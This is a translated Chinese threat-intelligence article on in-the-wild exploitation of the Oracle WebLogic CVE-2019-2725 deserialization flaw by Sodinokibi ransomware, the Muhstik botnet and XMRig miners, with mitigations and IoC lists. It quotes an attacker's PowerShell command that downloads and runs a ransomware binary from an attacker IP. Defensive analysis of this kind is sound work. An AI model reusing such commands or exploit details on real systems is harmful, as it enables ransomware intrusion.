2019-05-07 18:05:4617144人阅读
一、概述
2019年4月26日,Oracle发布官方公告,修复CVE-2019-2725漏洞。该漏洞属于Oracle WebLogic Server中的反序列化漏洞,可导致远程代码执行。这个漏洞无需进行身份验证即可远程利用,因此攻击者可以在不需要掌握用户名和密码的前提下,通过网络实现对漏洞主机的远程代码执行。
4月30日,Cisco Talos团队和Unit 42团队同时发布文章,监测到补丁发布前针对该漏洞的在野0-day漏洞利用。Cisco Talos团队主要发现Sodinokibi勒索软件利用该漏洞实现攻击,而Unit 42团队则发现Muhstik僵尸网络利用该漏洞进行加密货币挖掘和DDoS攻击。由于两份报告存在相似之处,为使大家整体了解CVE-2019-2725漏洞的在野漏洞利用现状,因此将这两篇报告合并翻译。
二、漏洞影响版本
Oracle WebLogic Server 10.3.6.0和12.1.3.0版本
三、漏洞原理及利用方法
该漏洞位于wls9_async_response.war包中,该包负责处理WebLogic Server的异步通信。该程序包无法使用XML <work:WorkContext>、<wsa:Action>、<wsa:RelatesTo>和<class>标志正确处理SOAP请求,从而使服务器容易受到反序列化漏洞的影响。因此,经过特殊构造、具有恶意SOAP消息的HTTP请求可以触发该漏洞,从而导致在WebLogic服务器的安全上下文中远程执行代码。下图展现了漏洞利用的过程。
上面引用的PoC,需要确保WebLogic实例上没有修复另一个WebLogic漏洞(CVE-2017-10271)才能成功利用。这一早期漏洞允许远程未经身份验证的攻击者传递具有任意内容的Java类对象,从而允许远程执行代码。在2017年的补丁中,对SOAP请求的内容进行了过滤,并设置了黑名单,确保其仅包含字节属性的类对象,与上图中传递的字符串属性不同。但是,如果未安装CVE-2019-2725补丁,威胁参与者可以轻松修改SOAP请求,以传递够早的字节对象,并获取代码执行。
CVE-2019-2725的补丁中改进了黑名单机制,在其中包含了类标记。有关这两个漏洞和相关黑名单的更多信息,请点击此处(https://paper.seebug.org/910/)。
之所以将该漏洞视为严重漏洞,并且具有9.8的CVSS v3.0评分,取决于多种因素。首先,wls9_async_response.war包默认包含在广泛使用的WebLogic Server版本中,例如10.3.6和12.1.3。其次,如上所述,随着WebLogic Server的普及以及其逐渐在业务关键环境中部署的趋势,为攻击者创建了一个具有充足利用环境的目标。此外,要利用此漏洞,不需要任何用户交互。未经身份验证的远程用户可以发送包含精心设计的SOAP Payload的HTTP请求,并轻松实现远程代码执行。
四、Sodinokibi勒索软件的漏洞利用方式
4.1 漏洞利用方式
攻击者正在积极利用Oracle WebLogic中最近披露的一个漏洞来安装一种名为“Sodinokibi”的新型勒索软件。Sodinokibi尝试加密用户目录中的数据,并删除卷影副本备份,从而使得数据恢复变得更加困难。Oracle首先在4月26日紧急发布补丁修复了这一问题,并将该漏洞分配了CVE-2019-2725编号。攻击者非常容易利用该漏洞,因为任何对WebLogic服务器具有HTTP访问权限的人都可以实现漏洞攻击。因此,该漏洞的CVSS评分为9.8/10。至少自从4月17日以来,攻击者就一直在野外利用该漏洞实现攻击。Cisco的事件响应(IR)团队和Cisco Talos团队正在积极调查这些攻击活动以及Sodinokibi恶意软件。
4.2 恶意活动分析
勒索软件攻击的最初阶段发生在4月25日,也就是Oracle发布更新补丁的前一天。他们使用了一个测试服务器,并测试该漏洞是否可以实际利用。
2019年4月25日,进行勒索软件部署之前的初始活动。
2019年4月26日,攻击者与另一个易受攻击的服务器建立HTTP连接,请求Oracle WebLogic Server的AsyncResponderService。
恶意活动从4月26日开始,攻击者下载Sodinokibi勒索软件。
从历史上来看,大多数勒索软件都需要某种形式的用户交互,例如:诱导用户打开电子邮件附件、诱导用户点击恶意链接或在设备上运行恶意软件。但在这种漏洞攻击场景下,攻击者仅仅是利用Oracle WebLogic漏洞,导致受漏洞影响的服务器从攻击者控制的IP地址188.166.74[.]218和45.55.211[,]79下载勒索软件的副本。188.166.74[.]218这个IP地址,同时也托管了与本次勒索软件攻击无关的两个域名,即arg0s-co[.]uk和projectstore[.]guru。前者可能是用于网络钓鱼的域名,而后者是伪造与PDF相关的Google搜索结果的网站。另外一个IP地址,45.55.211[.]79,托管两个合法的智利域名,似乎该服务器已经被攻击者攻陷并重新利用。在此次事件中,攻击者成功对许多用户的系统实现了加密。
Cisco IR服务和Talos观察到来自130.61.54[.]136的攻击请求。在HTTP POST请求中,包含cmd.exe指令的参数,用于从主机188.166.74[.]218下载名为“radm.exe”的文件,该文件中包含PowerShell命令,攻击者会在本地保存该文件,然后执行该文件。
cmd /c powershell.exe wget http[:]//188.166.74[.]218/radm.exe -outfile %TEMP%/radm.exe&cmd.exe /c %TEMP%\\radm.exe
除了“radm.exe”之外,研究人员还在PowerShell和certutil命令中观察到多个文件名,具体包括:
· hxxp[:]//188.166.74[.]218/office.exe
· hxxp[:]//188.166.74[.]218/radm.exe
· hxxp[:]//188.166.74[.]218/untitled.exe
· hxxp[:]//45.55.211[.]79/.cache/untitled.exe
我们使用Threat Grid进行分析,发现沙箱将上述样本识别为潜在的勒索软件。
VirusTotal网站的71种不同引擎中,共有43种成功检测到该文件二进制哈希值属于恶意文件。
接下来,我们可以使用“cmd.exe”执行vssadmin.exe实用程序,从而查看恶意文件“untitled.exe”。这一操作是勒索软件的常用策略,可以防止用户轻松恢复他们的数据。该过程会尝试删除默认的Windows备份机制,也被称为“卷影副本”,以防止用户从这些备份中恢复原始文件。
随后,勒索提示会将受害者引导到Tor网络(洋葱网络)上的.onion网站,或者将受害者引导到在2019年3月31日注册的decryptor[.]top域名。在对受害者计算机使用Sodinokibi进行加密之后,每个加密的系统都会出现不同的加密文件扩展名。并且,赎金提示的文件名中还包含此扩展名作为前缀,例如:88f2947s-HOW-TO-DECRYPT.txt。
4.3 分发GandCrab恶意软件
在对受害者网络中主机完成Sodinokibi勒索软件的部署之后,攻击者在大约8小时后又进行了一次额外的CVE-2019-2725漏洞利用尝试。然而,这一次,攻击者选择分发了GandCrab v5.2。这一行为非常奇怪,攻击者居然会选择在同一目标上分发额外的、不同的勒索软件。但考虑到Sodinokibi是一种新型勒索软件,有可能是攻击者认为他们早先的尝试没有成功,所以仍然希望通过分发GandCrab勒索软件来获得勒索的收益。
4.4 小结
本次攻击非常值得关注,因为攻击者利用0-day漏洞来实现勒索软件的分发。此前,我们曾经发现过勒索软件攻击者针对未打补丁的系统进行勒索软件的安装和横向传播,但这种0-day攻击方法可以在其他完全修复的系统上实现漏洞利用。
五、Muhstik僵尸网络的漏洞利用
5.1 漏洞利用方式
2019年4月28日,Unit 42团队发现了Linux僵尸网络Muhstik的新变种。这个新版本利用了五天前刚刚公布的最新WebLogic服务器漏洞(CVE-2019-2725),将其自身安装在易受攻击的系统上。Oracle在2019年4月26日发布了针对该漏洞的紧急补丁,我们确认该补丁能够成功防范最新版本的Muhstik。
从时间线上来看,我们可以看到Muhstik的开发人员正在积极关注新的Linux服务漏洞攻击,并立即采取了行动,利用它们来实现僵尸程序的感染。这一漏洞利用是非常有效的,因为新型漏洞攻击的速度越快,那么在修复漏洞之前成功攻陷更多主机的可能性就越大。因此,在僵尸网络的威胁之下,服务供应商和用户都应该尽快安装补丁,以防范新型漏洞。
Muhstik僵尸网络自2018年3月以来就一直存在,并且具有蠕虫般的自我传播功能,可以感染Linux服务器和物联网设备。在成功感染之后,它通常会启动加密货币挖掘软件和DDoS攻击,以便为攻击者获取收入。Muhstik使用了多种漏洞利用方式来感染不同的Linux服务,包括WebLogic漏洞、WordPress漏洞和Drupal漏洞。在此前,Muhstik已经采用了WebLogic漏洞利用方式(CVE-2017-10271),在将该漏洞利用方式添加到其工具包之后,可以增加其可感染的系统数量。
5.2 恶意活动分析
我们从三个新型Muhstik样本中捕获了CVE-2019-2725的WebLogic漏洞利用流量,并使用WildFire Linux分析器对其进行分析。漏洞利用Payload中仅包含一个Shell命令,用于从IP地址165.227.78[.]159下载wl.php。目前,wl.php已经无法成功下载,我们相信它很可能是一个PHP WbeShell。
此前被Mushtik僵尸网络使用的IP地址165.227.78[.]159在此次攻击活动中作为一个报告服务器,来收集僵尸主机的信息。但现在,这个IP地址也可以作为Payload主机服务器。
来自新Muhstik样本的漏洞利用流量:
六、XMRig挖矿恶意软件的漏洞利用
6.1 初始观察
在2019年4月25日,我们观察到许多漏洞利用尝试,下图展示了我们首次监控到的事件。
6.2 漏洞扫描
自从用于扫描漏洞的PoC公开以来,我们已经观察到许多恶意请求。我们捕获了滥用上述PoC的示例,如下图所示。
6.3 挖矿分布
我们观察到一次漏洞利用尝试,投放了一个众所周知的PowerShell下载程序脚本,以利用受感染的主机为攻击者挖掘加密货币。该脚本首先从攻击者控制的域名下载XMRig,这是一个开源的门罗币(Monero)挖掘工具。然后,它终止任何修复底层WebLogic漏洞的合法Oracle更新服务,如上图所示。随后,它通过复制自身,并创建伪装成Oracle更新服务的计划任务来建立持久性。
该脚本将终止可能在主机上运行的各种进程。终止的任务包括反病毒服务、其他加密货币挖掘工具和其他恶意软件的持久性方法。
下载程序的进程将首先终止系统上存在的DDG门罗挖矿僵尸网络客户端,然后是各种其他挖矿工具,包括其他的XMRig实例。这样的行为是为了防止其他挖矿病毒竞争者消耗主机资源。该恶意软件还针对奇虎360(反病毒服务)的服务进行终止,以降低被检测的可能性。上图展示了脚本需要终止的进程。
最后,该脚本使用Cryptonight算法和攻击者的门罗币钱包运行连接3个挖矿服务器的XMRig可执行文件,如下图所示。
七、缓解方法
针对所有WebLogic Server实例,针对此攻击的最有效防范措施是使用最新的安全补丁修复WebLogic Server实例。但在Oracle发布补丁之前,还提出了另一种缓解措施,即删除wls9_async_response.war包,或限制对包含/_async/*和/wls-wsat/*的URL的访问。
八、防范措施
由于Oracle WebLogic服务器数量众多,并且该漏洞非常容易利用,因此我们预计,会发生针对CVE-2019-2725的广泛攻击活动,因此我们建议采取防范措施。根据实际情况,按照分层控制的原则,采取一种或多种的防范措施,即可阻止此类攻击,这些具体措施包括:
1. 立即安装WebLogic的CVE-2019-2725补丁。
2. 记录并集中收集Web、应用程序和操作系统事件。
3. 限制用于运行WebLogic进程的帐户的访问权限。
4. 监控被该威胁攻击的特征:
(1) 监控数据中心系统出口的网络通信;
(2) 查找勒索软件“Canary”文件、阻止并识别Muhstik恶意软件;
(3) 监控到新URI的外部HTTP POST请求;
(4) 监控WebShell;
(5) 监控服务或系统帐户的意外活动(针对WebLogic用户)。
5. 进行漏洞扫描,掌握实际漏洞情况并采取缓解措施。
6. 限制数据中心出口流量通信。
7. 控制URL访问,特别是外部对“/_async/*”和“/wls-wsat/*”的访问。
8. 部署容灾恢复方案,维护并测试数据备份与恢复机制。
9. 配置PowerShell脚本,仅执行签名脚本。
九、IoC
9.1 Sodinokibi勒索软件样本:
0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d
34dffdb04ca07b014cdaee857690f86e490050335291ccc84c94994fa91e0160
74bc2f9a81ad2cc609b7730dbabb146506f58244e5e655cbb42044913384a6ac
95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05
fa2bccdb9db2583c2f9ff6a536e824f4311c9a8a9842505a0323f027b8b51451
9.2 Sodinokibi勒索软件分发URL:
hxxp://188.166.74[.]218/office.exe
hxxp://188.166.74[.]218/radm.exe
hxxp://188.166.74[.]218/untitled.exe
hxxp://45.55.211[.]79/.cache/untitled.exe
9.3 Sodinokibi勒索软件攻击者IP:
130.61.54[.]136
9.4 Sodinokibi勒索软件攻击者域名:
decryptor[.]top
hxxp[:]//decryptor[.]top/8D034B77DA7BC90E
hxxp[:]//aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion/8D034B77DA7BC90E
9.5 Muhstik僵尸网络样本:
e538026c0aa97deb2952afde3f8521be53ffb9ead6b6c349d6cd26942f609335 284f239d39ae24c7210179e4e7dc7c81e2374d12fe675cfd41d35681f3694e5a
53c70f6344246b1abdc2bc3fc3e7b43f853a4773b584805a50f8f71e8eca64e4
9.6 Muhstik僵尸网络URL:
hxxp://165.227.78[.]159/wl.php
9.7 矿池IP及端口:
185[.]161[.]70[.]34:3333
202[.]144[.]193[.]184:3333
205[.]185[.]122[.]99:3333
9.8 门罗币(Monero)钱包:
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
9.9 挖矿下载IP/URL:
hxxp://165.22.155.69/cow[.]exe
hxxp://188.166.74.218/go[.]b64
hxxp://107.174.47.156/1[.]ps1
9.10 挖矿样本SHA256:
4f9020f7e1c2a43a08c117b8d3323421eb1c920b5bad70adb92cbbf882cdf3a9(原始文件名:go.exe)
c213492008177ae1cda8903a46fb1b766f41c58051f1527237a597243885a87e(xmrig.exe)
3e35f125ea1256a443dcc4eee612f87025f9af7c45a22e95e5a2bd3e53f491eb(1.ps1.txt)
c799b4a7d14bb911e40c427517eeef96111383a4b3960c8707a27055eef8ecb0(cow.exe)
33135d6e0b8ac14693758ca2e37f27059e202ee72b419ab362fc07d232bb8a10(go.b64.txt)
参考及来源:
[1] https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html
[2] https://unit42.paloaltonetworks.com/muhstik-botnet-exploits-the-latest-weblogic-vulnerability-for-cryptomining-and-ddos-attacks/
[3] https://unit42.paloaltonetworks.com/attackers-increasingly-targeting-oracle-weblogic-server-vulnerability-for-xmrig-and-ransomware/